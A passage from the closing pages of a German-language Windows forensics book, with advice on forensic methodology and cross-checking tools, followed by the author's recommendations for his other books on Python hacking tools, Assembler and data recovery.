diesem Buch genannten Listen von Speicherorten und Registry-Einträgen bitte keinesfalls als vollständig an. Diese können sich mit der nächsten Windows- oder Programmversion oder auch mit einem Update ändern. Dies gilt natürlich auch für die verwendeten Formate, etc. Ich würde Ihnen empfehlen sich ein Netzwerk aufzubauen mit Berufskollegen mit denen Sie sich austauschen können. Zumindest sollten Sie in diversen Foren mitlesen und bei Bedarf Fragen stellen. Das Abonnieren diverser Newsletter ist ebenfalls eine gute Möglichkeit auf dem Laufenden zu bleiben und über Neuerungen informiert zu werden. 396
Bedenken Sie bei der Arbeit immer, dass Forensik als "Anwendung wissenschaftlicher Methoden zur Beantwortung von Fragen" definiert wird und die wissenschaftliche Arbeitsweise diktiert folgenden groben Ablauf: 1. 2. 3. 4. Observation Entwickeln einer Hypothese Entwickeln einer Methode diese Hypothese zu beweisen Testen der Hypothese Bestätigt dieser Test die Hypothese dann können Sie die Ergebnisse veröffentlichen, falls nicht nutzen Sie das Ergebnis des Tests und die Daten um die Hypothese anzupassen oder eine gänzlich neue Hypothese aufzustellen und testen Sie diese wiederum. Da wir hierbei Großteiles Tools nutzen um unsere Hypothesen zu prüfen, ist es ebenso wichtig sich nicht nur auf ein Tool zu verlassen, vor allem wenn es dann genau das Tool ist, dass uns auch dabei half diese Hypothesen zu entwickeln! Seien Sie also unbedingt unvoreingenommen und offen für abweichende Ergebnisse und prüfen Sie im Zweifelsfall doppelt und dreifach um festzustellen welches der Ergebnisse nun stimmt. 397
BUCHEMPFEHLUNGEN Python ist eine leicht zu erlernende und dennoch eine sehr vielfältige und mächtige Programmiersprache. Lernen Sie mit der bevorzugten Sprache vieler Hacker, Ihre eigenen Tools zu schreiben und diese unter Kali-Linux einzusetzen, um zu sehen, wie Hacker Systeme angreifen und Schwachstellen ausnutzen. Durch das Entwickeln Ihrer eigenen Tools erhalten Sie ein deutlich tiefgreifenderes Verständnis, wie und warum Angriffe funktionieren. Nach einer kurzen Einführung in die Programmierung mit Python lernen Sie anhand vieler praktischer Beispiele die unterschiedlichsten Hacking-Tools zu schreiben. Sie werden selbst schnell feststellen, wie erschreckend einfach das ist. ISBN: 978-3748165811 Verlag: BOD Durch Einbindung vorhandener Werkzeuge wie Metasploit und Nmap werden Skripte nochmals effizienter und kürzer. In diesem Buch versuche ich dem Leser zu vermitteln, wie leicht es mittlerweile ist, Sicherheitslücken mit diversen Tools auszunutzen. Daher sollte meiner Meinung nach jeder, der ein Netzwerk oder eine Webseite betreibt, ansatzweise wissen, wie diverse Hackertools arbeiten, um zu verstehen, wie man sich dagegen schützen kann. Selbst vor kleinen Heimnetzwerken machen viele Hacker nicht halt. ISBN: 978-3751969925 Verlag: BOD 398 Wenngleich das Thema ein sehr technisches ist, werde ich dennoch versuchen, die Konzepte so allgemein verständlich wie möglich erklären. Ein Informatikstudium ist also keinesfalls notwendig, um diesem Buch zu folgen. Dennoch will ich nicht nur die Bedienung diverser Tools erklären, sondern auch deren Funktionsweise so weit erklären, dass Ihnen klar wird, wie das Tool arbeitet und warum ein bestimmter Angriff funktioniert.
Assembler, die Maschinensprache, gilt als eine sehr schwer zu erlernende Programmiersprache. Ich will Ihnen mit diesem Buch zeigen, dass Assembler gar nicht so schwer ist. Assembler ist anders und funktioniert nicht wie moderne Hochsprachen, aber wenn Sie erst einmal verstanden haben, wie man damit arbeitet, verliert Assembler den Schrecken. In diesem Buch erwartet Sie ein praktischer Einstieg in die Programmierung mit Assembler. Ohne uns langwierig durch die theoretischen Grundlagen zu quälen, legen wir gleich los und sehen uns anhand von praktischen Beispielen an, wie Assembler und die Maschinenbefehle arbeiten. Dabei beleuchten wir die Stolpersteine und Herausforderungen bei dieser Art der Programmierung. Dazu nutzen wir moderne 64-Bit Intel-Architektur unter Linux. ISBN: 978-3751960120 Verlag: BOD Zu keinem anderen Teilbereich in der IT grassiert so viel Halbwissen wie bei Datenrettungen! Ich will mit diesem Buch interessierten die Grundlagen und wichtigsten Zusammenhänge so verständlich wie möglich nahebringen und ein grundlegendes Verständnis für die Vorgänge im inneren der Datenträger schaffen. Dabei zeige ich Ihnen Schritt für Schritt, welche Tools für welche Probleme geeignet sind. Neben logischen Problemen behandeln wir das Klonen mit spezieller Hardware, Firmware-Probleme und Reinraum-Datenrettungen. ISBN: 978-3755759324 Verlag: BOD Dieses Buch ist eine komplette Einführung in die Arbeit als professioneller Datenretter. 399